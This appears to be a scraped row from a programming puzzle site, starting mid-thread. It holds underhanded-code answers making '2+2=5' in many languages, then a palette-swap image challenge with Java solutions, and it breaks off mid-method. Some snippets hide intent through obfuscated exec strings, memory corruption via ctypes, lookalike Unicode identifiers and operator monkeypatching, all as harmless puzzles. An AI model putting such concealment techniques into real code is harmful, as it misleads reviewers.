Output\n```\n2+2= 5\n```\n## Explanation\n> \n> The second line concatenates v and 2 instead of adding them, to make 22. \n> \n> Actual explanation: \n> `v=2 #v is 2\n> v+=2 #v is 22\n> v=$(($v*5)) #v is 110\n> v=$(($v-16)) #v is 94\n> v=$(bc<<<\"sqrt($v)+2\") #v is 11 (by default, bc rounds to integers)\n> v=$(bc<<<\"$v/4+3\") #v is 5 (11/4 is 2 with rounding)\n> echo '2+2=' $v #TADAAAM`\n> \n> \n> \n[Answer]\n# Python\nInspired by the Java answer:\n```\n>>> patch = '\\x312\\x2D7'\n>>> import ctypes;ctypes.c_int8.from_address(id(len(patch))+8).value=eval(patch)\n>>> 2 + 2\n5\n```\n> \n> Like Java, CPython uses the same memory location for any copy of the first few small integers (0-255 if memory serves). This goes in and directly edits that memory location via `ctypes`. `patch` is just an obfuscated `\"12-7\"`, a string with `len` 4, which `eval`'s to 5.\n> \n> \n> \n### A more obfuscated version\n```\nexec(\"\\x66\\x72\\x6f\\x6d\\x20c\\x74\\x79\\x70e\\x73\\x20\\x69\\x6d\\x70\\\n\\x6f\\x72\\x74\\x20c\\x5f\\x69\\x6e\\x748\\x20a\\x73\\x20x\\x3bf\\x72\\x6f\\\n\\x6d\\x20\\x73\\x74\\x72\\x75c\\x74\\x20\\x69\\x6d\\x70\\x6f\\x72\\x74\\x20\\\nca\\x6cc\\x73\\x69\\x7ae\\x20a\\x73\\x20x0\\x3bx\\x2ef\\x72\\x6f\\x6d\\x5f\\\na\\x64\\x64\\x72e\\x73\\x73\\x28\\x69\\x64\\x284\\x29\\x2bx0\\x28\\x27\\x50\\\n\\x50\\x27\\x29\\x29\\x2e\\x76a\\x6c\\x75e\\x3d5\")\n```\n## Beyond 2+2\nAs OP mentioned, 2+2 can be kinda boring; so here's some cleaner, multiplatform, multi-width code for wanton abuse.\n```\nfrom __future__ import division, print_function\nimport struct\nimport ctypes\nimport random\n# Py 2.7 PyIntObject:\n# - PyObject_HEAD\n# - PyObject_HEAD_EXTRA [usually nothing unless compiled with DEBUG]\n# - (Py_ssize_t) ob_refcnt\n# - (_typeobject) *ob_type\n# - (long) ob_ival\n# two platform-sized (32/64-bit) ints (ob_refcnt and *ob_type from above)\noffset = struct.calcsize('PP')\nnum = 60\nnums = list(range(num))\naddresses = [id(x) + offset for x in nums]\nrandom.shuffle(nums)\nfor a, n in zip(addresses, nums):\n ctypes.c_ssize_t.from_address(a).value = n\nprint('2 + 2 =', 2+2)\nprint('9 - 4 =', 9-4)\nprint('5 * 6 =', 5*6)\nprint('1 / 0 =\\n', 1/0)\nprint('(1 + 2) + 3 = ', (1+2)+3)\nprint('1 + (2 + 3) = ', 1+(2+3))\nprint('(2 + 3) + 1 = ', (2+3)+1)\nprint('2 + (3 + 1) = ', 2+(3+1))\n```\nRunning with Python 2.7...ignore that line at the end. Works in Windows 64-bit and Ubuntu 32-bit, the two systems I have easy access to.\n```\n$ python awful.py \n2 + 2 = 24\n9 - 4 = 49\n5 * 6 = 55\n1 / 0 = 0.76\n(1 + 2) + 3 = 50\n1 + (2 + 3) = 68\n(2 + 3) + 1 = 50\n2 + (3 + 1) = 61\nSegmentation fault (core dumped)\n```\nUnsurprisingly, we can break the associative property of addition, where (*a* + *b*) + *c* = *a* + (*b* + *c*), as seen in the 1st and 2nd `1+2+3` lines, but inexplicably we also break the commutative property (where *a* + *b* = *b* + *a*; 2nd and 3rd lines). I wonder if the Python interpreter just ignores superfluous parentheses around addition expressions.\n[Answer]\n# JavaScript:\n```\ng = function () {\n H = 3\n return H + H\n}\nf = function () {\n Η = 2\n return Η + H\n}\n// 3 + 3 = 6\nalert(g())\n// 2 + 2 = 5\nalert(f())\n```\nCheck it at \n> \n> Both H (Latin letter capital h) and Η (Greek letter capital eta) are set to the global scope because they were not defined as local to the functions with the var keyword. While they look similar, they are actually 2 different variables with 2 different values. Using Ctrl+F in your browser you will find that Η (eta) shows up significantly less than H (h) on this page.\n> \n> \n> \n[Answer]\n# JavaScript\n```\nfunction addDecibels(){return (10*Math.log10([].reduce.call(arguments,(p,c)=>p+Math.pow(10,c/10),0))).toFixed(1);}\nalert( addDecibels(2,2) );\n```\n> \n> The underhanded bit is that its not actually underhanded - if you add a 2dB sound source to another 2dB sound source then resulting combined noise will be 5dB (and if you add two 30dB sources then its 33dB) as they are measured on a log scale.\n> \n> \n> \nYou can see it on [a different calculator here](https://www.noisemeters.com/apps/db-calculator.asp).\n[Answer]\n## PHP\n```\necho '2 + 2 = ' . (2 + 2 === 4 ? 4 : 2 + 2 === 5 ? 5 : 'dunno');\n```\nWhich produces:\n```\n2 + 2 = 5\n```\n> \n> This is because in PHP, ternaries are calculated left to right, so\n> it's actually\n> \n> \n> `(2 + 2 === 4 ? 4 : 2 + 2 === 5) // 2 + 2 is == 4, and 4 == true, therefore echo 5`\n> `? 5 : 'dunno';`\n> \n> \n> \n[Answer]\n### JavaScript\n```\nvar total = 2 + 2;\nif(total = 5)\n{\n alert('I guess 2 + 2 = 5');\n}\nelse\n{\n alert('The universe is sane, 2 + 2 = 4');\n}\n```\n[Answer]\n# C#\n```\n static void Main(string[] args)\n {\n var x = 2;\n var y = 2;\n if (1 == 0) ;\n {\n ++x;\n }\n Console.WriteLine(x + y);\n }\n```\n[Answer]\nIt's dangerous to decorate your Javascript with ASCII art.\n```\n -~// JS \\\\~-\n ~-// Maths \\\\-~\n-~// Madness \\\\~-\n (2 + 2)\n```\n> \n> When the comments are removed, the remaining symbols and operators evaluate to \n> \n> `-~~--~(2 + 2)`\n> This makes use of the Bitwise Not operator (~) in JS, along with a handful of \n> Minus signs which will negate the values along the way.\n> \n> \n> \n[Answer]\n# Bash\n```\n#!/bin/bash\n# strings of length 2\nx=\"ab\"\ny=\"cd\"\n# add lengths by concatenation\nc=\"$(cat<<<$x; cat<<<$y)\"\n# display the lengths of the parts and the sum\necho \"${#x} + ${#y} = ${#c}\"\n```\nOutput:\n```\n2 + 2 = 5\n```\n> \n> The output from each `cat` will have an implicit newline, but the final newline is stripped off by the command substitution `$( )`\n> \n> \n> \n---\nHere's another:\n```\n#!/bin/bash\n# Create an array of ascending integers\na=({1..10})\n# Use the sum to index into the array\ns=\"2 + 2\"\ni=$(($s))\necho \"$s = ${a[$i]}\"\n```\n> \n> Bash arrays are zero indexed\n> \n> \n> \n[Answer]\n# Perl\n```\n# Generic includes\nuse strict;\nuse warnings;\nuse 5.010;\nuse Acme::NewMath;\n# Ok, time to begin the real program.\nif (2 + 2 == 5) {\n say 5;\n}\nelse {\n say \"Dunno...\";\n}\n```\n> \n> It depends on CPAN module called [Acme::NewMath](https://metacpan.org/pod/Acme%3a%3aNewMath). Because of wrong file names in the module, this will only work on case insensitive file systems (like on Windows or Mac OS X), but I blame the original module's author here. Acme::NewMath implements mathematics according to the Ingsoc ideology.\n> \n> \n> \n[Answer]\n## R\n```\n# add the mean of [1,3] to the mean of [4,0] (2 + 2)\nmean(1,3) + mean(4,0)\n```\noutput: \n`5`\n> \n> the code actually adds the mean of [1] to the mean of [4].\n> The correct way to use the mean function in R would be:\n> `mean(c(1,3)) + mean(c(4,0))` This is unlike some other mathematical functions in R, such as `sum`, `max`, and `min`; where `sum(1,3)`, `max(1,3)`, and `min(3,1)` would all give the expected answer.\n> \n> \n> \n[Answer]\n# Java\n```\npublic class Five {\n public static void main(final String... args) {\n System.out.println(256.0000000000002 + 256.0000000000002);\n }\n}\n```\noutput:\n```\n512.0000000000005\n```\nProbably works in any language that uses the same kind of doubles.\n[Answer]\n## Befunge\nThis is written in Befunge, but is designed to look like Python.\n```\n#>>>>>>>>>>>>>>>>>v\n# Calculate 2 + 2 v\n#>>>>>>>>>>>>>>>>>v\ndef add(v,w):\n return v+w\n # I rewrote this 5 times and it still doesn't work\nprint add(2,2) #... Still not working\n# email: [[email protected]](/cdn-cgi/l/email-protection)\n```\nWhen run (with the correct interpreter) the program will print `5`.\nExplanation:\n> \n> A Befunge program is made up of a grid of single character commands. The first command is the one in the top left corner, and the reading of commands proceeds to the right. But the direction can change during program execution. \n> \n> \n> \n> Only the first row of characters, and the column of characters starting with the `v` in the first row are run. The characters in question do: \n> \n> \n> \n> `#` - skip the next command \n> \n> `>` - From now on, commands are read to the right of the current command \n> \n> `v` - From now on, commands are read below the current command \n> \n> `5` - Push 5 to the stack \n> \n> `.` - Pop and print the number at the top of the stack \n> \n> `@` - End the program \n> \n> `` - Do nothing\n> \n> \n> \n> \n> If you knew you were programming in Befunge, this wouldn't really trick anyone. But if you came across this and didn't realize it was Befunge, it most likely would. \n> \n> \n> \n[Answer]\n**JavaScript**\nCode:\n```\nvar a = 3;\nа = 2;\na + а;\n```\nOutput:\n```\n5\n```\nYou can test it yourself on your console or check this [Fiddle](http://jsfiddle.net/7j379/)\n[Answer]\n# C (Linux, gcc 4.7.3)\n```\n#include \nint main(void)\n{\n int a=3, b=2;\n printf(\"%d + %d = %d\", --a, b, a+b); \n}\n```\nIt prints 2+2=5\nSo a=2, right?\n> \n> gcc-4.7.3 evaluates the function parameters from right to left. When a+b is evaluated, a is still 3.\n> \n> \n> \n[Answer]\n## FORTRAN 77\n```\n program BadSum\n integer i,a,j\n common i,a\n a = 1\n i = 2\n call addtwo(j) \n print *,j\n end\n subroutine addtwo(j)\n integer a,i,j\n common a,i\nc since a = 1 & i = 2, then 2 + 1 + 1 = 2 + 2 = 4\n j = i + a + a\n end\n```\n> \n> Standard abuse of `common` blocks: order matters; I swapped the order in the block in the subroutine so I'm really adding `1 + 2 + 2`.\n> \n> \n> \n[Answer]\n## Python\nCode prints 5 which is correct answer for this task.\n```\ndef int(a):\n return ~eval(a)\ndef add(a,b):\n return int(a)+int(b)\nprint ~add(\"2\",\"2\")\n```\n**Edit:** Here's alternative version which adds integers, not stringified twos.\n```\ndef int(a): return ~eval(`a`)\ndef add(a,b): return int(a)+int(b)\nprint ~add(2,2)\n```\n> \n> Tilde is an unary inverse operator which returns `-x-1`, so first step is to get `-6` and then with another operator in `print` function get `5`\n> \n> \n> \n[Answer]\n## Ruby\n```\nclass Fixnum\n alias plus +\n def + (other)\n plus(other).succ\n end\nend\nputs 2 + 2\n```\n> \n> This increases the result of all additions whose first argument is a Fixnum (which 2 is, at least in MRI) by 1.\n> \n> \n> \nThe side-effects of this are even worse than the Java version.\n[Answer]\n## Ruby\nRuby has first class environments. This means lots of things. It also means that lots of things can be done that... maybe shouldn't.\n```\ndef mal(&block)\n block.call\n for v in block.binding.eval(\"local_variables\");\n block.binding.eval('if ' + v.to_s + ' == 4 then ' + v.to_s + ' = 5 end')\n end \nend\na = 2 + 2;\nb = 2 + 4;\nputs \"2 + 2 = \", a\nputs \"2 + 4 = \", b\nmal do\n puts \"But in 1984...\"\nend\nputs \"2 + 2 = \", a\nputs \"2 + 4 = \", b\n```\nThe output of this is:\n```\n2 + 2 = \n4\n2 + 4 = \n6\nBut in 1984...\n2 + 2 = \n5\n2 + 4 = \n6\n```\nIf you want to understand more about the joys and dangers of this, [Ruby Conf 2011 Keeping Ruby Reasonable](https://www.youtube.com/watch?v=vbX5BVCKiNs) and read [First-class environments](http://funcall.blogspot.com/2009/09/first-class-environments.html) from the Abstract Heresies blog.\n[Answer]\n# Scheme\n```\n(define 2+2 5)\n2+2 ;=> 5\n```\n[Answer]\n# C#\n```\nvar c = Enumerable.Range(2, 2).Sum();\n```\nTo someone not familiar, this will look like I'm getting a range starting and ending at 2. In reality, it starts at 2 and goes for two numbers. So 2 + 3 = 5.\n[Answer]\n# F#\nLet's put in fsi following statement:\n```\nlet ``2+2``= 5\n```\nOutput:\n```\nval ( 2+2 ) : int = 5\n```\n[Answer]\n## C\n```\nint main() {\n char __func_version__[] = \"5\"; // For source control\n char b[]=\"2\", a=2;\n printf(\"%d + %s = %s\\n\", a, b, a+b);\n return 0;\n}\n```\nThe `5` is not too well hidden, I'm afraid. Doesn't work with optimization.\n]"}}},{"rowIdx":9,"cells":{"text":{"kind":"string","value":"[Question]\n [\nYou are given two true color images, the Source and the Palette. They do not necessarily have the same dimensions but it is guaranteed that their areas are the same, i.e. they have the same number of pixels.\nYour task is to create an algorithm that makes the most accurate looking copy of the Source by only using the pixels in the Palette. Each pixel in the Palette must be used exactly once in a unique position in this copy. The copy must have the same dimensions as the Source.\nThis Python script can be used ensure these constraints are met:\n```\nfrom PIL import Image\ndef check(palette, copy):\n palette = sorted(Image.open(palette).convert('RGB').getdata())\n copy = sorted(Image.open(copy).convert('RGB').getdata())\n print 'Success' if copy == palette else 'Failed'\ncheck('palette.png', 'copy.png')\n```\nHere are several pictures for testing. They all have the same area. Your algorithm should work for any two images with equal areas, not just American Gothic and the Mona Lisa. You should of course show your output.\n[![American Gothic](https://i.stack.imgur.com/N6IGO.png)](https://i.stack.imgur.com/N6IGO.png)\n[![Mona Lisa](https://i.stack.imgur.com/JXgho.png)](https://i.stack.imgur.com/JXgho.png)\n[![Starry Night](https://i.stack.imgur.com/c5jq1.png)](https://i.stack.imgur.com/c5jq1.png)\n[![The Scream](https://i.stack.imgur.com/itzIe.png)](https://i.stack.imgur.com/itzIe.png)\n[![River](https://i.stack.imgur.com/y2VZJ.png)](https://i.stack.imgur.com/y2VZJ.png)\n[![Rainbow](https://i.stack.imgur.com/xPAwA.png)](https://i.stack.imgur.com/xPAwA.png)\nThanks to Wikipedia for the images of famous paintings.\n## Scoring\nThis is a popularity contest so the highest voted answer wins. But I'm sure there's lots of ways to be creative with this!\n## Animation\nmillinon had the idea that it would be cool to see the pixels rearrange themselves. I thought so too so I wrote [this](http://pastebin.com/VTnL9Npw) Python script that takes two images made of the same colors and draws the intermediate images between them. **Update:** I just revised it so each pixel moves the minimum amount it has to. It is no longer random.\nFirst is the Mona Lisa turning into aditsu's American Gothic. Next is bitpwner's American Gothic (from Mona Lisa) turning into aditsu's. It's amazing that the two versions share the exact same color palette.\n![Mona Lisa to American Gothic animation](https://i.stack.imgur.com/y3oPk.gif)\n![animating between two versions of American Gothic made from Mona Lisa](https://i.stack.imgur.com/BJbz5.gif)\nThe results are really quite astounding. Here is aditsu's rainbow Mona Lisa (slowed to show detail).\n![rainbow spheres to Mona Lisa animation](https://i.stack.imgur.com/e15ef.gif)\nThis last animation is not necessarily related to the contest. It shows what happens when my script is used to rotate an image 90 degrees.\n![tree rotation animation](https://i.stack.imgur.com/GEeS4.gif)\n \n[Answer]\n# Java - GUI with progressive randomized transformation\nI tried a LOT of things, some of them very complicated, then I finally came back to this relatively-simple code:\n```\nimport java.awt.BorderLayout;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Random;\nimport javax.imageio.ImageIO;\nimport javax.swing.ImageIcon;\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\nimport javax.swing.JLabel;\nimport javax.swing.Timer;\n@SuppressWarnings(\"serial\")\npublic class CopyColors extends JFrame {\n private static final String SOURCE = \"spheres\";\n private static final String PALETTE = \"mona\";\n private static final int COUNT = 10000;\n private static final int DELAY = 20;\n private static final int LUM_WEIGHT = 10;\n \n private static final double[] F = {0.114, 0.587, 0.299};\n private final BufferedImage source;\n protected final BufferedImage dest;\n private final int sw;\n private final int sh;\n private final int n;\n private final Random r = new Random();\n private final JLabel l;\n \n public CopyColors(final String sourceName, final String paletteName) throws IOException {\n super(\"CopyColors by aditsu\");\n source = ImageIO.read(new File(sourceName + \".png\"));\n final BufferedImage palette = ImageIO.read(new File(paletteName + \".png\"));\n sw = source.getWidth();\n sh = source.getHeight();\n final int pw = palette.getWidth();\n final int ph = palette.getHeight();\n n = sw * sh;\n if (n != pw * ph) {\n throw new RuntimeException();\n }\n dest = new BufferedImage(sw, sh, BufferedImage.TYPE_INT_RGB);\n for (int i = 0; i < sh; ++i) {\n for (int j = 0; j < sw; ++j) {\n final int x = i * sw + j;\n dest.setRGB(j, i, palette.getRGB(x % pw, x / pw));\n }\n }\n l = new JLabel(new ImageIcon(dest));\n add(l);\n final JButton b = new JButton(\"Save\");\n add(b, BorderLayout.SOUTH);\n b.addActionListener(new ActionListener() {\n @Override\n public void actionPerformed(final ActionEvent e) {\n try {\n ImageIO.write(dest, \"png\", new File(sourceName + \"-\" + paletteName + \".png\"));\n } catch (IOException ex) {\n ex.printStackTrace();\n }\n }\n });\n }\n \n protected double dist(final int x, final int y) {\n double t = 0;\n double lx = 0;\n double ly = 0;\n for (int i = 0; i < 3; ++i) {\n final double xi = ((x >> (i * 8)) & 255) * F[i];\n final double yi = ((y >> (i * 8)) & 255) * F[i];\n final double d = xi - yi;\n t += d * d;\n lx += xi;\n ly += yi;\n }\n double l = lx - ly;\n return t + l * l * LUM_WEIGHT;\n }\n \n public void improve() {\n final int x = r.nextInt(n);\n final int y = r.nextInt(n);\n final int sx = source.getRGB(x % sw, x / sw);\n final int sy = source.getRGB(y % sw, y / sw);\n final int dx = dest.getRGB(x % sw, x / sw);\n final int dy = dest.getRGB(y % sw, y / sw);\n if (dist(sx, dx) + dist(sy, dy) > dist(sx, dy) + dist(sy, dx)) {\n dest.setRGB(x % sw, x / sw, dy);\n dest.setRGB(y % sw, y / sw, dx);\n }\n }\n \n public void update() {\n l.repaint();\n }\n \n public static void main(final String... args) throws IOException {\n final CopyColors x = new CopyColors(SOURCE, PALETTE);\n x.setSize(800, 600);\n x.setLocationRelativeTo(null);\n x.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n x.setVisible(true);\n new Timer(DELAY, new ActionListener() {\n @Override\n public void actionPerformed(final ActionEvent e) {\n for (int i = 0; i < COUNT; ++i) {\n x.improve();\n }\n x.update();\n }\n }).start();\n }\n}\n```\nAll the relevant parameters are defined as constants at the beginning of the class.\nThe program first copies the palette image into the source dimensions, then repeatedly chooses 2 random pixels and swaps them if that would get them closer to the source image. \"Closer\" is defined using a color distance function that calculates the difference between the r, g, b components (luma-weighted) together with the total luma difference, with a greater weight for luma.\nIt takes just a few seconds for the shapes to form, but a while longer for the colors to come together. You can save the current image at any time. I usually waited about 1-3 minutes before saving.\n## Results:\nUnlike some other answers, these images were all generated using the exact same parameters (other than the file names).\n### American Gothic palette\n![mona-gothic](https://i.stack.imgur.com/GzJlt.png) ![scream-gothic](https://i.stack.imgur.com/HhZgE.png)\n### Mona Lisa palette\n![gothic-mona](https://i.stack.imgur.com/f8IkJ.png) ![scream-mona](https://i.stack.imgur.com/ZOO0G.png)\n![spheres-mona](https://i.stack.imgur.com/WhVcO.png)\n### Starry Night palette\n![mona-night](https://i.stack.imgur.com/aNAuG.png) ![scream-night](https://i.stack.imgur.com/r0lLu.png)\n![spheres-night](https://i.stack.imgur.com/FcS9U.png)\n### The Scream palette\n![gothic-scream](https://i.stack.imgur.com/7wxxd.png) ![mona-scream](https://i.stack.imgur.com/eqvsb.png)\n![night-scream](https://i.stack.imgur.com/JdXAG.png)\n![spheres-scream](https://i.stack.imgur.com/1rXa6.png)\n### Spheres palette\nI think this is the toughest test and everybody should post their results with this palette:\n![gothic-spheres](https://i.stack.imgur.com/SBBEt.png) ![mona-spheres](https://i.stack.imgur.com/8U7wW.png)\n![scream-spheres](https://i.stack.imgur.com/MSRXt.png)\nSorry, I didn't find the river image very interesting so I haven't included it.\nI also added a video at , it shows what the program does (not exactly in real-time but similar) then it shows the gradual pixel movement using Calvin's python script. Unfortunately the video quality is significantly damaged by youtube's encoding/compression.\n[Answer]\n# Java\n```\nimport java.awt.Point;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Random;\nimport javax.imageio.ImageIO;\n/**\n *\n * @author Quincunx\n */\npublic class PixelRearranger {\n public static void main(String[] args) throws IOException {\n BufferedImage source = ImageIO.read(resource(\"American Gothic.png\"));\n BufferedImage palette = ImageIO.read(resource(\"Mona Lisa.png\"));\n BufferedImage result = rearrange(source, palette);\n ImageIO.write(result, \"png\", resource(\"result.png\"));\n validate(palette, result);\n }\n public static class MInteger {\n int val;\n public MInteger(int i) {\n val = i;\n }\n }\n public static BufferedImage rearrange(BufferedImage source, BufferedImage palette) {\n BufferedImage result = new BufferedImage(source.getWidth(),\n source.getHeight(), BufferedImage.TYPE_INT_RGB);\n //This creates a list of points in the Source image.\n //Then, we shuffle it and will draw points in that order.\n List samples = getPoints(source.getWidth(), source.getHeight());\n System.out.println(\"gotPoints\");\n //Create a list of colors in the palette.\n rgbList = getColors(palette);\n Collections.sort(rgbList, rgb);\n rbgList = new ArrayList<>(rgbList);\n Collections.sort(rbgList, rbg);\n grbList = new ArrayList<>(rgbList);\n Collections.sort(grbList, grb);\n gbrList = new ArrayList<>(rgbList);\n Collections.sort(gbrList, gbr);\n brgList = new ArrayList<>(rgbList);\n Collections.sort(brgList, brg);\n bgrList = new ArrayList<>(rgbList);\n Collections.sort(bgrList, bgr);\n while (!samples.isEmpty()) {\n Point currentPoint = samples.remove(0);\n int sourceAtPoint = source.getRGB(currentPoint.x, currentPoint.y);\n int bestColor = search(new MInteger(sourceAtPoint));\n result.setRGB(currentPoint.x, currentPoint.y, bestColor);\n }\n return result;\n }\n public static List getPoints(int width, int height) {\n HashSet points = new HashSet<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n points.add(new Point(x, y));\n }\n }\n List newList = new ArrayList<>();\n List corner1 = new LinkedList<>();\n List corner2 = new LinkedList<>();\n List corner3 = new LinkedList<>();\n List corner4 = new LinkedList<>();\n Point p1 = new Point(width / 3, height / 3);\n Point p2 = new Point(width * 2 / 3, height / 3);\n Point p3 = new Point(width / 3, height * 2 / 3);\n Point p4 = new Point(width * 2 / 3, height * 2 / 3);\n newList.add(p1);\n newList.add(p2);\n newList.add(p3);\n newList.add(p4);\n corner1.add(p1);\n corner2.add(p2);\n corner3.add(p3);\n corner4.add(p4);\n points.remove(p1);\n points.remove(p2);\n points.remove(p3);\n points.remove(p4);\n long seed = System.currentTimeMillis();\n Random c1Random = new Random(seed += 179426549); //The prime number pushes the first numbers apart\n Random c2Random = new Random(seed += 179426549); //Or at least I think it does.\n Random c3Random = new Random(seed += 179426549);\n Random c4Random = new Random(seed += 179426549);\n Dir NW = Dir.NW;\n Dir N = Dir.N;\n Dir NE = Dir.NE;\n Dir W = Dir.W;\n Dir E = Dir.E;\n Dir SW = Dir.SW;\n Dir S = Dir.S;\n Dir SE = Dir.SE;\n while (!points.isEmpty()) {\n putPoints(newList, corner1, c1Random, points, NW, N, NE, W, E, SW, S, SE);\n putPoints(newList, corner2, c2Random, points, NE, N, NW, E, W, SE, S, SW);\n putPoints(newList, corner3, c3Random, points, SW, S, SE, W, E, NW, N, NE);\n putPoints(newList, corner4, c4Random, points, SE, S, SW, E, W, NE, N, NW);\n }\n return newList;\n }\n public static enum Dir {\n NW(-1, -1), N(0, -1), NE(1, -1), W(-1, 0), E(1, 0), SW(-1, 1), S(0, 1), SE(1, 1);\n final int dx, dy;\n private Dir(int dx, int dy) {\n this.dx = dx;\n this.dy = dy;\n }\n public Point add(Point p) {\n return new Point(p.x + dx, p.y + dy);\n }\n }\n public static void putPoints(List newList, List listToAddTo, Random rand,\n HashSet points, Dir... adj) {\n List newPoints = new LinkedList<>();\n for (Iterator iter = listToAddTo.iterator(); iter.hasNext();) {\n Point p = iter.next();\n Point pul = adj[0].add(p);\n Point pu = adj[1].add(p);\n Point pur = adj[2].add(p);\n Point pl = adj[3].add(p);\n Point pr = adj[4].add(p);\n Point pbl = adj[5].add(p);\n Point pb = adj[6].add(p);\n Point pbr = adj[7].add(p);\n int allChosen = 0;\n if (points.contains(pul)) {\n if (rand.nextInt(5) == 0) {\n allChosen++;\n newPoints.add(pul);\n newList.add(pul);\n points.remove(pul);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pu)) {\n if (rand.nextInt(5) == 0) {\n allChosen++;\n newPoints.add(pu);\n newList.add(pu);\n points.remove(pu);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pur)) {\n if (rand.nextInt(3) == 0) {\n allChosen++;\n newPoints.add(pur);\n newList.add(pur);\n points.remove(pur);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pl)) {\n if (rand.nextInt(5) == 0) {\n allChosen++;\n newPoints.add(pl);\n newList.add(pl);\n points.remove(pl);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pr)) {\n if (rand.nextInt(2) == 0) {\n allChosen++;\n newPoints.add(pr);\n newList.add(pr);\n points.remove(pr);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pbl)) {\n if (rand.nextInt(5) == 0) {\n allChosen++;\n newPoints.add(pbl);\n newList.add(pbl);\n points.remove(pbl);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pb)) {\n if (rand.nextInt(3) == 0) {\n allChosen++;\n newPoints.add(pb);\n newList.add(pb);\n points.remove(pb);\n }\n } else {\n allChosen++;\n }\n if (points.contains(pbr)) {\n newPoints.add(pbr);\n newList.add(pbr);\n points.remove(pbr);\n }\n if (allChosen == 7) {\n iter.remove();\n }\n }\n listToAddTo.addAll(newPoints);\n }\n public static List getColors(BufferedImage img) {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n colors.add(new MInteger(img.getRGB(x, y)));\n }\n }\n return colors;\n }\n public static int search(MInteger color) {\n int rgbIndex = binarySearch(rgbList, color, rgb);\n int rbgIndex = binarySearch(rbgList, color, rbg);\n int grbIndex = binarySearch(grbList, color, grb);\n int gbrIndex = binarySearch(gbrList, color, gbr);\n int brgIndex = binarySearch(brgList, color, brg);\n int bgrIndex = binarySearch(bgrList, color, bgr);\n double distRgb = dist(rgbList.get(rgbIndex), color);\n double distRbg = dist(rbgList.get(rbgIndex), color);\n double distGrb = dist(grbList.get(grbIndex), color);\n double distGbr = dist(gbrList.get(gbrIndex), color);\n double distBrg = dist(brgList.get(brgIndex), color);\n double distBgr = dist(bgrList.get(bgrIndex), color);\n double minDist = Math.min(Math.min(Math.min(Math.min(Math.min(\n distRgb, distRbg), distGrb), distGbr), distBrg), distBgr);\n MInteger ans;\n if (minDist == distRgb) {\n ans = rgbList.get(rgbIndex);\n } else if (minDist == distRbg) {\n ans = rbgList.get(rbgIndex);\n } else if (minDist == distGrb) {\n ans = grbList.get(grbIndex);\n } else if (minDist == distGbr) {\n ans = grbList.get(grbIndex);\n } else if (minDist == distBrg) {\n ans = grbList.get(rgbIndex);\n } else {\n ans = grbList.get(grbIndex);\n }\n rgbList.remove(ans);\n rbgList.remove(ans);\n grbList.remove(ans);\n gbrList.remove(ans);\n brgList.remove(ans);\n bgrList.remove(ans);\n return ans.val;\n }\n public static int binarySearch(List list, MInteger val, Comparator cmp){\n int index = Collections.binarySearch(list, val, cmp);\n if (index < 0) {\n index = ~index;\n if (index >= list.size()) {\n index = list.size() - 1;\n }\n }\n return index;\n }\n public static double dist(MInteger color1, MInteger color2) {\n int c1 = color1.val;\n int r1 = (c1 & 0xFF0000) >> 16;\n int g1 = (c1 & 0x00FF00) >> 8;\n int b1 = (c1 & 0x0000FF);\n int c2 = color2.val;\n int r2 = (c2 & 0xFF0000) >> 16;\n int g2 = (c2 & 0x00FF00) >> 8;\n int b2 = (c2 & 0x0000FF);\n int dr = r1 - r2;\n int dg = g1 - g2;\n int db = b1 - b2;\n return Math.sqrt(dr * dr + dg * dg + db * db);\n }\n //This method is here solely for my ease of use (I put the files under /Resources/ )\n public static File resource(String fileName) {\n return new File(System.getProperty(\"user.dir\") + \"/Resources/\" + fileName);\n }\n static List rgbList;\n static List rbgList;\n static List grbList;\n static List gbrList;\n static List brgList;\n static List bgrList;\n static Comparator rgb = (color1, color2) -> color1.val - color2.val;\n static Comparator rbg = (color1, color2) -> {\n int c1 = color1.val;\n int c2 = color2.val;\n c1 = ((c1 & 0xFF0000)) | ((c1 & 0x00FF00) >> 8) | ((c1 & 0x0000FF) << 8);\n c2 = ((c2 & 0xFF0000)) | ((c2 & 0x00FF00) >> 8) | ((c2 & 0x0000FF) << 8);\n return c1 - c2;\n };\n static Comparator grb = (color1, color2) -> {\n int c1 = color1.val;\n int c2 = color2.val;\n c1 = ((c1 & 0xFF0000) >> 8) | ((c1 & 0x00FF00) << 8) | ((c1 & 0x0000FF));\n c2 = ((c2 & 0xFF0000) >> 8) | ((c2 & 0x00FF00) << 8) | ((c2 & 0x0000FF));\n return c1 - c2;\n };\n static Comparator gbr = (color1, color2) -> {\n int c1 = color1.val;\n int c2 = color2.val;\n c1 = ((c1 & 0xFF0000) >> 16) | ((c1 & 0x00FF00) << 8) | ((c1 & 0x0000FF) << 8);\n c2 = ((c2 & 0xFF0000) >> 16) | ((c2 & 0x00FF00) << 8) | ((c2 & 0x0000FF) << 8);\n return c1 - c2;\n };\n static Comparator brg = (color1, color2) -> {\n int c1 = color1.val;\n int c2 = color2.val;\n c1 = ((c1 & 0xFF0000) >> 8) | ((c1 & 0x00FF00) >> 8) | ((c1 & 0x0000FF) << 16);\n c2 = ((c2 & 0xFF0000) >> 8) | ((c2 & 0x00FF00) >> 8) | ((c2 & 0x0000FF) << 16);\n return c1 - c2;\n };\n static Comparator bgr = (color1, color2) -> {\n int c1 = color1.val;\n int c2 = color2.val;\n c1 = ((c1 & 0xFF0000) >> 16) | ((c1 & 0x00FF00)) | ((c1 & 0x0000FF) << 16);\n c2 = ((c2 & 0xFF0000) >> 16) | ((c2 & 0x00FF00)) | ((c2 & 0x0000FF) << 16);\n return c1 - c2;\n };\n public static void validate(BufferedImage palette, BufferedImage result) {\n List paletteColors = 